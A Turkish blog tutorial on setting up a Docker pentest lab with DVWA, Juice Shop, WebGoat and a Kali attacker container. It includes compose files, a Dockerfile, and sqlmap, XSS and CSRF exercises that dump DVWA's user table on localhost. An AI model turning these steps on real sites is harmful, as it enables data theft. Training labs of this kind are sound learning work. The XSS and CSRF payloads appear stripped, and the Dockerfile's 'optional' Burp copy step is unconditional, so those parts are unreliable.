{"id":35,"title":"Docker ile Web Uygulama Pentest Laboratuvar\u0131 Kurma","content":"

Web Lab Docker — Docker ile Esnek Bir Web Uygulama Pentest Laboratuvar\u0131 Kurma Rehberi<\/h1>\r\n

Giri\u015f<\/strong>
Siber güvenlik, özellikle web uygulama güvenli\u011fi alan\u0131nda pratik beceri her \u015feydir. Teorik bilgiyi peki\u015ftirmenin ve zafiyetleri gerçek dünya senaryolar\u0131nda ke\u015ffetmenin en etkili yolu, kendinize ait bir laboratuvar ortam\u0131 kurmakt\u0131r. Bu rehberde, Ignitetechnologies’in siber güvenlik yol haritalar\u0131ndan ilham alarak Docker kullan\u0131m\u0131yla nas\u0131l h\u0131zl\u0131, esnek ve ta\u015f\u0131nabilir bir web uygulama s\u0131zma testi (pentest) laboratuvar\u0131 kurabilece\u011finizi ad\u0131m ad\u0131m ele alaca\u011f\u0131z.<\/p>\r\n

\r\n

Neden Bir Pentest Laboratuvar\u0131na \u0130htiyac\u0131n\u0131z Var?<\/h2>\r\n

Kendi laboratuvar\u0131n\u0131zda çal\u0131\u015fmak size \u015funlar\u0131 sa\u011flar:<\/p>\r\n

    \r\n
  • \r\n

    SQL Injection, XSS, CSRF gibi farkl\u0131 zafiyet türlerini güvenli ortamda test etme imkân\u0131.<\/p>\r\n<\/li>\r\n

  • \r\n

    Burp Suite, OWASP ZAP, Nmap gibi araçlar\u0131n gerçek kullan\u0131m\u0131n\u0131 ö\u011frenme.<\/p>\r\n<\/li>\r\n

  • \r\n

    “K\u0131rm\u0131z\u0131 tak\u0131m” (sald\u0131r\u0131) ve “mavi tak\u0131m” (savunma) perspektiflerini kar\u015f\u0131la\u015ft\u0131rma.<\/p>\r\n<\/li>\r\n

  • \r\n

    Yeni ke\u015ffedilen zafiyetleri (zero-day v.b.) deneysel olarak analiz etme.<\/p>\r\n<\/li>\r\n<\/ul>\r\n

    \r\n

    Neden Docker?<\/h2>\r\n

    Geleneksel VM tabanl\u0131 laboratuvarlar s\u0131k kaynak harcar ve kurulumu uzun sürer. Docker ise:<\/p>\r\n

      \r\n
    • \r\n

      H\u0131z ve hafiflik<\/strong>: Konteynerler saniyeler içinde ba\u015flar, az disk\/RAM kullan\u0131r.<\/p>\r\n<\/li>\r\n

    • \r\n

      Ta\u015f\u0131nabilirlik<\/strong>: Dockerfile \/ docker-compose ile tüm ortam kod olarak ta\u015f\u0131n\u0131r.<\/p>\r\n<\/li>\r\n

    • \r\n

      \u0130zolasyon<\/strong>: Her uygulama izole konteynerde çal\u0131\u015f\u0131r; hatalar yay\u0131lmaz.<\/p>\r\n<\/li>\r\n

    • \r\n

      Haz\u0131r ekosistem<\/strong>: Docker Hub’da DVWA, bWAPP, Juice Shop gibi haz\u0131r zafiyetli uygulamalar bulunur.<\/p>\r\n<\/li>\r\n<\/ul>\r\n

      \r\n

      Laboratuvar Tasla\u011f\u0131 — Ak\u0131l Haritas\u0131 Ad\u0131mlar\u0131<\/h2>\r\n

      Ignitetechnologies’in “Web App Docker” ak\u0131l haritas\u0131ndan yola ç\u0131karak temel bile\u015fenler \u015funlard\u0131r:<\/p>\r\n

      1. Temel Bile\u015fenler<\/h3>\r\n
        \r\n
      • \r\n

        Sald\u0131rgan Makinesi (Attacker Machine)<\/strong>: Kali Linux veya Parrot OS tabanl\u0131 bir konteyner; Metasploit, Nmap, Burp Suite, sqlmap gibi araçlar\u0131 içerir.<\/p>\r\n<\/li>\r\n

      • \r\n

        Hedef Uygulamalar (Target Applications)<\/strong>: Pratik için örnek uygulamalar:<\/p>\r\n

          \r\n
        • \r\n

          OWASP Juice Shop<\/strong> — modern JS uygulama zafiyetleri.<\/p>\r\n<\/li>\r\n

        • \r\n

          DVWA (Damn Vulnerable Web Application)<\/strong> — PHP\/MySQL temelli klasik zafiyetler.<\/p>\r\n<\/li>\r\n

        • \r\n

          bWAPP<\/strong> — 100’den fazla zafiyet.<\/p>\r\n<\/li>\r\n

        • \r\n

          WebGoat<\/strong> — OWASP taraf\u0131ndan haz\u0131rlanm\u0131\u015f interaktif e\u011fitim uygulamas\u0131.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<\/ul>\r\n

          2. A\u011f Yap\u0131land\u0131rmas\u0131<\/h3>\r\n
            \r\n
          • \r\n

            docker-compose<\/code> ile tüm konteynerleri tek bir bridge network<\/strong> içinde çal\u0131\u015ft\u0131r. Bu, sald\u0131rgan makinesinin hedeflere eri\u015fimini kolayla\u015ft\u0131r\u0131r ve ayn\u0131 zamanda laboratuvar\u0131 ana sistemden izole eder.<\/p>\r\n<\/li>\r\n<\/ul>\r\n

            3. Kurulum ve Ba\u015flatma<\/h3>\r\n
              \r\n
            • \r\n

              Tüm servisleri docker-compose.yml<\/code> içinde tan\u0131mla.<\/p>\r\n<\/li>\r\n

            • \r\n

              Laboratuvar\u0131 aya\u011fa kald\u0131r: docker-compose up -d<\/code><\/p>\r\n<\/li>\r\n

            • \r\n

              Laboratuvar\u0131 durdur: docker-compose down<\/code><\/p>\r\n<\/li>\r\n<\/ul>\r\n

              \r\n

              Güvenlik ve Sorumluluk<\/h2>\r\n
                \r\n
              • \r\n

                Laboratuvar\u0131 yaln\u0131zca izole bir a\u011fda<\/strong> çal\u0131\u015ft\u0131r; internet’e aç\u0131k hale getirme.<\/p>\r\n<\/li>\r\n

              • \r\n

                Ö\u011frenme amaçl\u0131 bile olsa, gerçek hedeflere izinsiz sald\u0131rma yasa d\u0131\u015f\u0131d\u0131r. Her zaman yasal ve etik kurallara uy.<\/p>\r\n<\/li>\r\n<\/ul>\r\n

                \r\n

                Pratik \u0130puçlar\u0131<\/h2>\r\n
                  \r\n
                • \r\n

                  Sürüm kontrolü:<\/strong> docker-compose.yml<\/code> ve Dockerfile’lar\u0131n\u0131 git ile takip et.<\/p>\r\n<\/li>\r\n

                • \r\n

                  Anl\u0131k görüntü (snapshot):<\/strong> Denemeler öncesi ve sonras\u0131 konteyner yap\u0131land\u0131rmalar\u0131n\u0131 kaydet.<\/p>\r\n<\/li>\r\n

                • \r\n

                  Loglama:<\/strong> Sald\u0131r\u0131 ve hedef uygulama loglar\u0131n\u0131 toplay\u0131p kar\u015f\u0131la\u015ft\u0131r — ö\u011frenme çok daha etkili olur.<\/p>\r\n<\/li>\r\n

                • \r\n

                  Otomasyon:<\/strong> S\u0131k kulland\u0131\u011f\u0131n senaryolar için basit scriptler yaz (ba\u015flat\/durdur\/test raporu olu\u015fturma).<\/p>\r\n<\/li>\r\n<\/ul>\r\n

                  \r\n

                  Docker ve Ignitetechnologies gibi kaynaklar\u0131n sundu\u011fu ak\u0131l haritalar\u0131, modern bir pentest laboratuvar\u0131 kurmak için güçlü bir kombinasyon sunar. Kaynaklar\u0131 verimli kullanarak ta\u015f\u0131nabilir ve tekrarlanabilir bir ortam elde eder, siber güvenlik becerilerinizi h\u0131zla geli\u015ftirebilirsiniz. Bugün GitHub’daki ilgili repolar\u0131 ve Docker Hub’daki zafiyetli uygulamalar\u0131 inceleyerek kendi laboratuvar\u0131n\u0131z\u0131 aya\u011fa kald\u0131r\u0131n.<\/p>\r\n

                  \r\n

                  Harika — a\u015fa\u011f\u0131da iki bölüm<\/strong> halinde haz\u0131rlad\u0131m:<\/p>\r\n

                    \r\n
                  1. \r\n

                    Haz\u0131r, çal\u0131\u015ft\u0131r\u0131labilir docker-compose.yml<\/code> örne\u011fi<\/strong> (hem Juice Shop hem DVWA dahil, a\u011f izolasyonu, kal\u0131c\u0131 veriler). Bu dosyay\u0131 do\u011frudan kullan\u0131p docker-compose up -d<\/code> ile laboratuvar\u0131 aya\u011fa kald\u0131rabilirsin. (Baz\u0131 image isimleri zamanla de\u011fi\u015febilir — gerekirse Docker Hub’dan do\u011frula.)<\/p>\r\n<\/li>\r\n

                  2. \r\n

                    Daha teknik bölüm<\/strong>: ad\u0131m ad\u0131m örnek sald\u0131r\u0131 senaryolar\u0131 (SQLi, XSS, CSRF), kullan\u0131lan komutlar (sqlmap, Burp Suite, Nmap) ve hangi ekran görüntülerini (screenshot) alman gerekti\u011fine dair net talimatlar. Bu sayede yaz\u0131y\u0131 hem ö\u011fretici hem de prati\u011fe dönük hale getirebilirsin.<\/p>\r\n<\/li>\r\n<\/ol>\r\n

                    Her \u015fey Türkçe, SEO-dostu ve blogda do\u011frudan kullanabilece\u011fin formatta. Hadi ba\u015flayal\u0131m!<\/p>\r\n

                    \r\n

                    1) docker-compose.yml<\/code> — Çal\u0131\u015f\u0131r Örnek (Juice Shop + DVWA + Attacker)<\/h1>\r\n
                    \r\n

                    Not: A\u015fa\u011f\u0131daki docker-compose.yml<\/code> laboratuvar\u0131 izole bir bridge network üzerinde çal\u0131\u015ft\u0131r\u0131r. attacker<\/code> servisi Kali tabanl\u0131 bir görüntü içerir; juice_shop<\/code> ve dvwa<\/code> örnek hedef uygulamalard\u0131r. DVWA için MySQL servisi eklenmi\u015ftir. E\u011fer ba\u015fka hedefler (bWAPP, WebGoat vb.) eklenecekse benzer servis bloklar\u0131 eklemen yeterli.<\/p>\r\n<\/blockquote>\r\n

                    version: \"3.8\"\r\n\r\nservices:\r\n  # Attacker machine (lightweight kali)\r\n  attacker:\r\n    image: kalilinux\/kali-rolling:latest\r\n    container_name: attacker\r\n    tty: true\r\n    stdin_open: true\r\n    networks:\r\n      - web-lab\r\n    volumes:\r\n      - .\/attacker-data:\/root\r\n    command: \/bin\/bash\r\n    restart: unless-stopped\r\n\r\n  # OWASP Juice Shop (Node.js app, oyunla\u015ft\u0131r\u0131lm\u0131\u015f)\r\n  juice_shop:\r\n    image: bkimminich\/juice-shop:latest\r\n    container_name: juice_shop\r\n    environment:\r\n      - NODE_ENV=development\r\n    ports:\r\n      - \"3000:3000\"   # yerel taray\u0131c\u0131dan eri\u015fim istersen\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  # DVWA (Damn Vulnerable Web App) + MySQL\r\n  dvwa_db:\r\n    image: mysql:5.7\r\n    container_name: dvwa_db\r\n    environment:\r\n      MYSQL_ROOT_PASSWORD: rootpass\r\n      MYSQL_DATABASE: dvwa\r\n      MYSQL_USER: dvwauser\r\n      MYSQL_PASSWORD: dvwapass\r\n    volumes:\r\n      - dvwa_db_data:\/var\/lib\/mysql\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  dvwa:\r\n    image: vulnerables\/web-dvwa:latest\r\n    container_name: dvwa\r\n    environment:\r\n      - MYSQL_HOST=dvwa_db\r\n      - MYSQL_USER=dvwauser\r\n      - MYSQL_PASSWORD=dvwapass\r\n      - MYSQL_DATABASE=dvwa\r\n    ports:\r\n      - \"8081:80\"   # yerel taray\u0131c\u0131dan eri\u015fim istersen\r\n    networks:\r\n      - web-lab\r\n    depends_on:\r\n      - dvwa_db\r\n    restart: unless-stopped\r\n\r\n  # (\u0130ste\u011fe ba\u011fl\u0131) OWASP WebGoat örne\u011fi\r\n  webgoat:\r\n    image: webgoat\/webgoat:latest\r\n    container_name: webgoat\r\n    ports:\r\n      - \"8080:8080\"\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\nnetworks:\r\n  web-lab:\r\n    driver: bridge\r\n\r\nvolumes:\r\n  dvwa_db_data:\r\n  attacker-data:\r\n<\/code><\/pre>\r\n
                    Kullan\u0131m:<\/p>\r\n
                      \r\n
                    1. \r\n
                      Bu dosyay\u0131 docker-compose.yml<\/code> ad\u0131yla bir klasöre koy.<\/p>\r\n<\/li>\r\n
                    2. \r\n
                      Klasörde terminal aç: docker-compose up -d<\/code><\/p>\r\n<\/li>\r\n
                    3. \r\n
                      Servislerin durumunu kontrol et: docker-compose ps<\/code> veya docker ps<\/code><\/p>\r\n<\/li>\r\n
                    4. \r\n
                      Attacker konteynerine gir: docker exec -it attacker \/bin\/bash<\/code><\/p>\r\n<\/li>\r\n
                    5. \r\n
                      Juice Shop: http:\/\/localhost:3000<\/code> — DVWA: http:\/\/localhost:8081<\/code> — WebGoat: http:\/\/localhost:8080<\/code><\/p>\r\n<\/li>\r\n<\/ol>\r\n
                      \r\n
                      Güvenlik: Laboratuvar\u0131 üretim a\u011f\u0131ndan kesinlikle<\/strong> izole et. Bilgisayar\u0131n internete ba\u011fl\u0131ysa bile docker a\u011f\u0131 d\u0131\u015far\u0131ya aç\u0131k portlar arac\u0131l\u0131\u011f\u0131yla eri\u015fim olabilir; yaln\u0131zca yerelde eri\u015fim istiyorsan port yönlendirmelerini kald\u0131r veya firewall kurallar\u0131na dikkat et.<\/p>\r\n<\/blockquote>\r\n
                      \r\n
                      2) Teknik Rehber: Ad\u0131m Ad\u0131m Sald\u0131r\u0131 \/ Test Senaryolar\u0131 (Ekran görüntüleri ile)<\/h1>\r\n
                      A\u015fa\u011f\u0131da üç temel senaryo için ad\u0131mlar, kullan\u0131lacak komutlar, örnek ç\u0131kt\u0131lar ve hangi ekran görüntülerini alman gerekti\u011fi yer al\u0131yor. Her bölümde sald\u0131rgan konteynerinde çal\u0131\u015faca\u011f\u0131n\u0131 varsay\u0131yorum.<\/p>\r\n
                      A) Haz\u0131rl\u0131k & Ke\u015fif<\/h2>\r\n
                      Amaç<\/h3>\r\n
                      Hedef hakk\u0131nda bilgi topla: aç\u0131k portlar, servis versiyonlar\u0131, uygulama rotalar\u0131.<\/p>\r\n
                      Araçlar<\/h3>\r\n
                        \r\n
                      • \r\n
                        Nmap<\/p>\r\n<\/li>\r\n
                      • \r\n
                        dirb veya gobuster<\/p>\r\n<\/li>\r\n
                      • \r\n
                        curl<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                        Ad\u0131mlar<\/h3>\r\n
                          \r\n
                        1. \r\n
                          Attacker konteynerine gir:<\/p>\r\n
                          docker exec -it attacker \/bin\/bash\r\napt update && apt install -y nmap gobuster curl\r\n<\/code><\/pre>\r\n
                          (Kali imaj\u0131nda ço\u011fu araç haz\u0131r olur; yoksa apt ile yükle.)<\/p>\r\n<\/li>\r\n
                        2. \r\n
                          Hedef servisleri tara (ör: DVWA dvwa:80<\/code>, Juice Shop :3000<\/code>):<\/p>\r\n
                          nmap -sC -sV -p- --open 172.18.0.0\/16\r\n<\/code><\/pre>\r\n
                          (Yerel a\u011f IP aral\u0131\u011f\u0131n\u0131 kullan. Alternatif olarak nmap -sV dvwa<\/code> veya nmap -p- $(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' dvwa)<\/code>)<\/p>\r\n<\/li>\r\n
                        3. \r\n
                          Web dizinleri ke\u015ffi:<\/p>\r\n
                          gobuster dir -u http:\/\/localhost:8081 -w \/usr\/share\/wordlists\/dirb\/common.txt\r\n<\/code><\/pre>\r\n<\/li>\r\n<\/ol>\r\n
                          Al\u0131nacak ekran görüntüleri<\/h3>\r\n
                            \r\n
                          • \r\n
                            nmap<\/code> tarama ç\u0131kt\u0131s\u0131 (filename: screenshots\/01-nmap.png<\/code>)<\/p>\r\n<\/li>\r\n
                          • \r\n
                            Gobuster sonuçlar\u0131 (screenshots\/02-gobuster.png<\/code>)<\/p>\r\n<\/li>\r\n
                          • \r\n
                            Hedef uygulama ana sayfas\u0131 (DVWA veya Juice Shop) (screenshots\/03-target-home.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                            \r\n
                            B) SQL Injection (DVWA örne\u011fi)<\/h2>\r\n
                            Amaç<\/h3>\r\n
                            Basit SQLi aç\u0131\u011f\u0131n\u0131 bulup sqlmap<\/code> ile veri taban\u0131ndan veri çekmek.<\/p>\r\n
                            Haz\u0131rl\u0131k<\/h3>\r\n
                              \r\n
                            • \r\n
                              DVWA’de Security seviyesini Low yap (uygulama içinden ayar).<\/p>\r\n<\/li>\r\n
                            • \r\n
                              Giri\u015f yap: (DVWA default kullan\u0131c\u0131 genelde admin\/password).<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                              Ad\u0131mlar<\/h3>\r\n
                                \r\n
                              1. \r\n
                                Hedef formu tespit et (ör: http:\/\/localhost:8081\/vulnerabilities\/sqli\/<\/code>).<\/p>\r\n<\/li>\r\n
                              2. \r\n
                                sqlmap<\/code> ile test:<\/p>\r\n
                                sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&Submit=Submit\" --cookie=\"PHPSESSID=; security=low\" --dbs --batch\r\n<\/code><\/pre>\r\n
                                  \r\n
                                • \r\n
                                  --cookie<\/code> ile oturum bilgisi ver; --batch<\/code> otomatik onaylar.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n
                                • \r\n
                                  Belirli bir veritaban\u0131n\u0131 çek:<\/p>\r\n
                                  sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&Submit=Submit\" --cookie=\"...\" -D dvwa --tables\r\nsqlmap -u \"...\" --cookie=\"...\" -D dvwa -T users --dump\r\n<\/code><\/pre>\r\n<\/li>\r\n<\/ol>\r\n
                                  Ekran görüntüleri<\/h3>\r\n
                                    \r\n
                                  • \r\n
                                    Vulnerable form sayfas\u0131 (screenshots\/10-dvwa-sqli-form.png<\/code>)<\/p>\r\n<\/li>\r\n
                                  • \r\n
                                    sqlmap tarama sonucu (dbs\/list) (screenshots\/11-sqlmap-dbs.png<\/code>)<\/p>\r\n<\/li>\r\n
                                  • \r\n
                                    dump edilmi\u015f tablo örne\u011fi (screenshots\/12-sqlmap-dump.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                    Notlar<\/h3>\r\n
                                      \r\n
                                    • \r\n
                                      DVWA gibi uygulamalarda önce \"Create \/ Reset DB\" butonunu kullan.<\/p>\r\n<\/li>\r\n
                                    • \r\n
                                      Her komutta --threads<\/code> veya --tamper<\/code> parametreleriyle sqlmap hassas kontrol sa\u011flayabilirsin.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                      \r\n
                                      C) XSS (Juice Shop veya DVWA Stored\/Reflected)<\/h2>\r\n
                                      Amaç<\/h3>\r\n
                                      Reflected veya Stored XSS tespiti, PoC payload ile taray\u0131c\u0131da JavaScript çal\u0131\u015ft\u0131rma.<\/p>\r\n
                                      Araçlar<\/h3>\r\n
                                        \r\n
                                      • \r\n
                                        Basit payload:<\/p>\r\n<\/li>\r\n
                                      • \r\n
                                        Burp Suite (proxy) veya OWASP ZAP<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                        Ad\u0131mlar<\/h3>\r\n
                                          \r\n
                                        1. \r\n
                                          Taray\u0131c\u0131y\u0131 attacker üzerinden çal\u0131\u015ft\u0131r\u0131yorsan veya host taray\u0131c\u0131y\u0131 kullan\u0131yorsan Burp\/ZAP proxy ayarla. (Burp: 127.0.0.1:8080)<\/p>\r\n<\/li>\r\n
                                        2. \r\n
                                          Hedef form veya yorum alan\u0131na payload gönder:<\/p>\r\n
                                          \r\n<\/code><\/pre>\r\n
                                          (PoC için alert kullan; veri s\u0131zd\u0131rma senaryosu daha sofistike.)<\/p>\r\n<\/li>\r\n
                                        3. \r\n
                                          Burp Repeater ile payload’\u0131 manipüle et ve cevaplar\u0131 incele.<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                          Ekran görüntüleri<\/h3>\r\n
                                            \r\n
                                          • \r\n
                                            Injection yap\u0131lm\u0131\u015f input alan\u0131 (screenshots\/20-xss-input.png<\/code>)<\/p>\r\n<\/li>\r\n
                                          • \r\n
                                            Taray\u0131c\u0131da aç\u0131lan alert veya ba\u015far\u0131l\u0131 PoC (screenshots\/21-xss-alert.png<\/code>)<\/p>\r\n<\/li>\r\n
                                          • \r\n
                                            Burp Proxy history ve iste\u011fin payload ile görünümü (screenshots\/22-burp-request.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                            Notlar<\/h3>\r\n
                                              \r\n
                                            • \r\n
                                              Stored XSS'de payload hedef veritaban\u0131na kaydolur; sayfa her ziyaret edildi\u011finde çal\u0131\u015f\u0131r.<\/p>\r\n<\/li>\r\n
                                            • \r\n
                                              Modern taray\u0131c\u0131lar içerik güvenlik politikalar\u0131 (CSP) uygulayabilir — Juice Shop sandbox ortam\u0131nda ço\u011fu test serbesttir.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                              \r\n
                                              D) CSRF (Cross-Site Request Forgery)<\/h2>\r\n
                                              Amaç<\/h3>\r\n
                                              Basit bir CSRF PoC ile oturumlu kullan\u0131c\u0131ya istenmeyen i\u015flem yapt\u0131rmak.<\/p>\r\n
                                              Ad\u0131mlar<\/h3>\r\n
                                                \r\n
                                              1. \r\n
                                                DVWA gibi uygulamada oturum aç (ör: admin).<\/p>\r\n<\/li>\r\n
                                              2. \r\n
                                                Hedef i\u015flem var m\u0131 (ör: \u015fifre de\u011fi\u015fikli\u011fi, ip çalma)? Bul.<\/p>\r\n<\/li>\r\n
                                              3. \r\n
                                                Basit CSRF HTML dosyas\u0131 haz\u0131rla:<\/p>\r\n
                                                \r\n\r\n  \r\n    <\/code><\/pre>\r\n
                                                 <\/form>\r\n
                                                \r\n    \r\n  \r\n\r\n<\/code><\/pre>\r\n<\/li>\r\n
                                              4. \r\n
                                                \u0130\u015flemi oturum aç\u0131kken kullan\u0131c\u0131 ziyaret ederse (ve uygulamada CSRF token yoksa) i\u015flem gerçekle\u015fir.<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                Ekran görüntüleri<\/h3>\r\n
                                                  \r\n
                                                • \r\n
                                                  Hedef i\u015flem formu (screenshots\/30-csrf-form.png<\/code>)<\/p>\r\n<\/li>\r\n
                                                • \r\n
                                                  PoC HTML'in sunulmas\u0131 ve ba\u015far\u0131l\u0131 sonuç (screenshots\/31-csrf-success.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                  \r\n
                                                  E) Post-Exploit \/ Loglama \/ Raporlama<\/h2>\r\n
                                                  Öneriler<\/h3>\r\n
                                                    \r\n
                                                  • \r\n
                                                    Her testten sonra ba\u015far\u0131l\u0131 ad\u0131mlar\u0131 not al, hangi payloadlar i\u015fe yarad\u0131, hangi header’lar de\u011fi\u015ftirildi.<\/p>\r\n<\/li>\r\n
                                                  • \r\n
                                                    Oturum ve uygulama loglar\u0131n\u0131 \/var\/www\/html\/...\/logs<\/code> veya ilgili storage’dan topla.<\/p>\r\n<\/li>\r\n
                                                  • \r\n
                                                    Basit Markdown tabanl\u0131 rapor olu\u015ftur: bulgu, risk seviyesi, istismar\u0131n tekrar\u0131, düzeltme önerisi.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                    Örnek rapor ba\u015fl\u0131klar\u0131:<\/p>\r\n
                                                      \r\n
                                                    • \r\n
                                                      Özet (Executive Summary)<\/p>\r\n<\/li>\r\n
                                                    • \r\n
                                                      Test kapsam\u0131 ve metodoloji<\/p>\r\n<\/li>\r\n
                                                    • \r\n
                                                      Buluntular (CVE benzeri format: ID, Description, Risk, Reproduction, Fix)<\/p>\r\n<\/li>\r\n
                                                    • \r\n
                                                      Ekran görüntüleri ve veri dökümleri<\/p>\r\n<\/li>\r\n
                                                    • \r\n
                                                      Sonuç ve öneriler<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                      \r\n
                                                      Ekran Görüntüleri \u0130çin \u0130puçlar\u0131<\/h2>\r\n
                                                        \r\n
                                                      • \r\n
                                                        Taray\u0131c\u0131 penceresini tam ekran kullan.<\/p>\r\n<\/li>\r\n
                                                      • \r\n
                                                        png<\/code> format\u0131 tercihi: screenshots\/-.png<\/code>.<\/p>\r\n<\/li>\r\n
                                                      • \r\n
                                                        Her ekran görüntüsünde tarih ve saat olsun — OS saat dilimine göre ekleyebilirsin.<\/p>\r\n<\/li>\r\n
                                                      • \r\n
                                                        Terminal ç\u0131kt\u0131lar\u0131 için terminal fontunu büyüt ve arka plan\u0131 temizle; uzun ç\u0131kt\u0131lar\u0131 k\u0131rpma, önemli k\u0131s\u0131mlar\u0131 ekle.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                        \r\n
                                                         <\/p>\r\n
                                                        1) Dockerfile<\/code> — özel attacker image<\/h1>\r\n
                                                        \r\n
                                                        Not: Burp Suite Community \/ Professional .jar<\/code> dosyas\u0131 telifli oldu\u011fundan bu imaja otomatik indirilmeye çal\u0131\u015f\u0131lmaz. E\u011fer Burp kullanmak istersen burpsuite_community.jar<\/code> (veya pro) dosyas\u0131n\u0131 build context’e koyup --build-arg INCLUDE_BURP=yes<\/code> ile build edebilirsin. Alternatif olarak OWASP ZAP (aç\u0131k kaynak) otomatik kurulur.<\/p>\r\n<\/blockquote>\r\n
                                                        # Dockerfile.attacker\r\nFROM kalilinux\/kali-rolling\r\n\r\nARG INCLUDE_BURP=no\r\nARG BURP_JAR=burpsuite.jar\r\n\r\nENV DEBIAN_FRONTEND=noninteractive\r\nRUN apt-get update && apt-get install -y \\\r\n    python3 python3-pip git curl wget net-tools iputils-ping \\\r\n    default-jre-headless openjdk-11-jre-headless \\\r\n    sqlmap chromium \\\r\n    xvfb x11vnc supervisor unzip \\\r\n    zaproxy \\\r\n    && apt-get clean && rm -rf \/var\/lib\/apt\/lists\/*\r\n\r\n# pip araçlar\u0131 (iste\u011fe ba\u011fl\u0131)\r\nRUN pip3 install --upgrade pip && pip3 install requests\r\n\r\n# Çal\u0131\u015fma dizini\r\nWORKDIR \/root\r\n\r\n# E\u011fer build arg ile burp eklenmi\u015fse kopyala (kullan\u0131c\u0131 kendi yerel jar'\u0131n\u0131 sa\u011flamal\u0131)\r\n# Not: Dockerfile içinde telifli dosyalar\u0131n otomatik indirilmesi uygun de\u011fildir.\r\nARG INCLUDE_BURP\r\nCOPY ${BURP_JAR} \/opt\/burp\/${BURP_JAR}\r\n\r\n# Basit bir ba\u015flatma scripti: shell açmak için\r\nCOPY docker-entrypoint.sh \/usr\/local\/bin\/docker-entrypoint.sh\r\nRUN chmod +x \/usr\/local\/bin\/docker-entrypoint.sh\r\n\r\n# Portlar (ör. Burp GUI için 8081, VNC için 5900 vs. iste\u011fe ba\u011fl\u0131)\r\nEXPOSE 5900 8081\r\n\r\nENTRYPOINT [\"\/usr\/local\/bin\/docker-entrypoint.sh\"]\r\nCMD [\"\/bin\/bash\"]\r\n<\/code><\/pre>\r\n
                                                        docker-entrypoint.sh<\/code> (ayn\u0131 klasörde olu\u015ftur):<\/p>\r\n
                                                        #!\/bin\/bash\r\n# Basit entrypoint: kullan\u0131c\u0131 interaktif shell al\u0131r.\r\n# E\u011fer burp jar varsa uyar\u0131 ver.\r\nif [ -f \/opt\/burp\/burpsuite.jar ]; then\r\n  echo \"[*] burp.jar bulundu: \/opt\/burp\/burpsuite.jar\"\r\n  echo \"[*] GUI kullanmak istersen X11 yönlendirme veya VNC kur.\"\r\nelse\r\n  echo \"[*] burp.jar bulunamad\u0131. OWASP ZAP kurulu, burp kullanmak için burpsuite jar'\u0131n\u0131 build context'e ekleyip yeniden build et.\"\r\nfi\r\n\r\n# Shell aç\r\nexec \"$@\"\r\n<\/code><\/pre>\r\n
                                                        \r\n
                                                        Aç\u0131klama: imaj Kali tabanl\u0131d\u0131r. \u0130çinde sqlmap<\/code>, chromium<\/code> (headless), zaproxy<\/code> yüklü. burpsuite.jar<\/code> kullanmak istersen bu jar dosyas\u0131n\u0131 Dockerfile ile ayn\u0131 klasöre koy ve build arg kullan.<\/p>\r\n<\/blockquote>\r\n
                                                        \r\n
                                                        2) docker-compose.yml<\/code> — özel attacker ile entegre<\/h1>\r\n
                                                        A\u015fa\u011f\u0131daki docker-compose.yml<\/code> örne\u011fi, attacker imaj\u0131n\u0131 build eder ve daha önce verdi\u011fimiz DVWA \/ Juice Shop servisleriyle ayn\u0131 a\u011fda çal\u0131\u015ft\u0131r\u0131r.<\/p>\r\n
                                                        version: \"3.8\"\r\nservices:\r\n  attacker:\r\n    build:\r\n      context: .\r\n      dockerfile: Dockerfile.attacker\r\n      args:\r\n        INCLUDE_BURP: \"no\"   # e\u011fer burp.jar koyduysan \"yes\" yap\r\n        BURP_JAR: \"burpsuite.jar\"\r\n    image: weblab\/attacker:latest\r\n    container_name: attacker\r\n    tty: true\r\n    stdin_open: true\r\n    networks:\r\n      - web-lab\r\n    volumes:\r\n      - .\/attacker-data:\/root\r\n      - \/tmp\/.X11-unix:\/tmp\/.X11-unix   # X11 forward için (opsiyonel)\r\n    environment:\r\n      - DISPLAY=${DISPLAY}   # host X11 forward için\r\n    command: \/bin\/bash\r\n    restart: unless-stopped\r\n\r\n  juice_shop:\r\n    image: bkimminich\/juice-shop:latest\r\n    container_name: juice_shop\r\n    environment:\r\n      - NODE_ENV=development\r\n    ports:\r\n      - \"3000:3000\"\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  dvwa_db:\r\n    image: mysql:5.7\r\n    container_name: dvwa_db\r\n    environment:\r\n      MYSQL_ROOT_PASSWORD: rootpass\r\n      MYSQL_DATABASE: dvwa\r\n      MYSQL_USER: dvwauser\r\n      MYSQL_PASSWORD: dvwapass\r\n    volumes:\r\n      - dvwa_db_data:\/var\/lib\/mysql\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  dvwa:\r\n    image: vulnerables\/web-dvwa:latest\r\n    container_name: dvwa\r\n    environment:\r\n      - MYSQL_HOST=dvwa_db\r\n      - MYSQL_USER=dvwauser\r\n      - MYSQL_PASSWORD=dvwapass\r\n      - MYSQL_DATABASE=dvwa\r\n    ports:\r\n      - \"8081:80\"\r\n    networks:\r\n      - web-lab\r\n    depends_on:\r\n      - dvwa_db\r\n    restart: unless-stopped\r\n\r\nnetworks:\r\n  web-lab:\r\n    driver: bridge\r\n\r\nvolumes:\r\n  dvwa_db_data:\r\n  attacker-data:\r\n<\/code><\/pre>\r\n
                                                        \r\n
